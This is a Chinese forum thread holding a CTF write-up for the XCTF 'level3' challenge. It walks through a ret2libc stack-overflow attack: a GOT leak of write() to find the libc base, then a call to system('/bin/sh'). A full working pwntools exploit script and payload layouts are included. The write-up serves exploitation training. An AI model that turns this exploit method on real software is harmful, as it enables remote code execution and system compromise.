吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|www.ycnqhj.icu

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 1526|回復: 13
上一主題 下一主題

[CTF] XCTF攻防世界 level3

[復制鏈接]
跳轉到指定樓層
樓主
yaoyao7 發表于 2019-10-3 13:15 回帖獎勵
level3題解
首先,檢查一下程序基本信息:

程序很簡單,保護開的也差不多。但是需要注意,這道題單獨給出了libc,而且根據題目提示,程序中沒有現成的system函數。這就需要我們從libc中動態加載system函數。   初步思路:PIE沒有開啟,那么在libc中函數的offset就是固定的,只要確認了libc的base address,然后計算出system函數的offset,就可以定位到system函數的真實地址,實現調用。
IDA查看源碼:- strings查看一下是否有明顯的字符串信息:

從字符串信息來看,沒有明顯的可以利用的字符串,函數也只有write和read,在某些情況下這兩個函數可以構造溢出,先留心一下。
- main函數

  沒有明顯的問題,直接進入vulnerable_function()
- vulnerable_function函數


有一個緩沖區buf,在read函數中進行了調用。可以進行溢出。

攻擊思路:
libc中的函數的相對地址是固定的,要想獲取到system函數的地址,可以通過write()函數進行offset計算。1. 首先利用write()函數計算出write()函數的真實地址;2. 利用相對offset計算出system和"/bin/sh"的真實地址。
在vulnerable_function()中,先調用了write()函數,然后調用read()函數。write()函數返回到vulnerable_function()后,再進行read()函數調用,這樣我們就可以進行二次攻擊。  - 第一次攻擊我們利用棧溢出將write()函數在got表中的真實地址leak出來,然后減去libc中的offset,就可以得到libc的base address。- 第二次攻擊重新進入main函數,再次通過棧溢出,利用system函數進行getshell。
    兩次攻擊stack中的情況
First stack Second stack
'A'*0x88 'A'*0x88
EBPEBP
[email protected] sys_addr
main_addr 0xdeadbeef
1 bin_sh_addr
[email protected] XXXX
0xdeadbeef XXXX


這樣的話,第一次使用的payload構成如下:
payload = 'A'\*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
利用第一次攻擊,就可以獲取到libc的基地址。然后進行第二次攻擊,使用的payload構成為:
payload0 = 'A'\*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
中間涉及到幾個地址的計算,各地址的計算方式如下:
AddressCalculate
libc_addrwrite_got_addr - libc.symbols['write']
sys_addrlibc_addr + libc.symbols['system']
bin_sh_addrlibc_addr + 0x15902b

      備注:0x15902b是"/bin/sh"在libc中的地址,可以使用libcsearch進行獲取,也可以使用 strings -a -t x libc_32.so.6 | grep "/bin/sh" 進行獲取。此外,還有一個libcSearcher可以使用,有興趣的可以研究一下。
這樣的兩次攻擊下來,就可以使用libc中的system函數進行"/bin/sh"的調用,從而getshell。
EXP:
[Python] 純文本查看 復制代碼
from pwn import *

sh = remote('111.198.29.45',53033)
#sh=process('./level3')

#context.log_level = 'debug'
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

#get func address
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

payload = 'A'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)

sh.sendlineafter("Input:\n",payload)

#leak write's addr in got
write_got_addr = u32(sh.recv()[:4])
print 'write_got address is',hex(write_got_addr)

#leak libc's addr
libc_addr = write_got_addr - libc.symbols['write']
print 'libc address is',hex(libc_addr)

#get system's addr
sys_addr = libc_addr + libc.symbols['system']
print 'system address is',hex(sys_addr)

#get bin/sh 's addr    strings -a -t x libc_32.so.6 | grep "/bin/sh"
#libc.search("/bin/sh").next()
bin_sh_addr = libc_addr + 0x15902b
print '/bin/sh address is',hex(bin_sh_addr)

#get second payload
payload0 = 'A'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

sh.sendline(payload0)
sh.interactive()

執行完成后,可以成功拿到flag:

總結這道題感覺才算真正開始入門pwn的棧溢出,遇到了沒有system和"/bin/sh"的情況,思路也比較好玩,需要一定的技巧和腦洞才能完成這道題。可能在大師傅們的眼里很簡單,但是對于剛入門pwn的小白來說,這道題很值得玩味,挺有價值的。 此外,需要花一定的時間學習一下pwntools,這玩意真的是pwn題的神器233333。

免費評分

參與人數 7吾愛幣 +7 熱心值 +7 收起 理由
對影三人 + 1 + 1 熱心回復!
RyanEdward + 1 + 1 [email protected]
smile5 + 1 + 1 [email protected]
fanweikang + 1 + 1 我很贊同!
臥室沒書生 + 1 + 1 [email protected]
笙若 + 1 + 1 [email protected]
Fr02en + 1 + 1 用心討論,共獲提升!

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
琉璃狐 發表于 2019-10-3 21:37
好厲害,可惜本新萌大部分看不懂  學習的道路還很長啊
沙發
tomydream 發表于 2019-10-3 14:44
3#
7plang 發表于 2019-10-3 14:55
4#
s98 發表于 2019-10-3 18:01
感謝分享了
5#
玩杰網 發表于 2019-10-3 19:37
我來 學習下      
7#
zysanjing1 發表于 2019-10-3 23:11


好厲害,學習一下
8#
shelly1314 發表于 2019-10-4 18:12
學習知識,
9#
a192424 發表于 2019-10-6 09:24
學習下下謝謝了
10#
太一 發表于 2019-10-6 10:21
可以可以  來學習一下
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:禁止回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

GMT+8, 2019-10-13 10:56

Powered by Discuz!

© 2001-2017 Comsenz Inc.

快速回復 返回頂部 返回列表
新疆时时开奖历史记录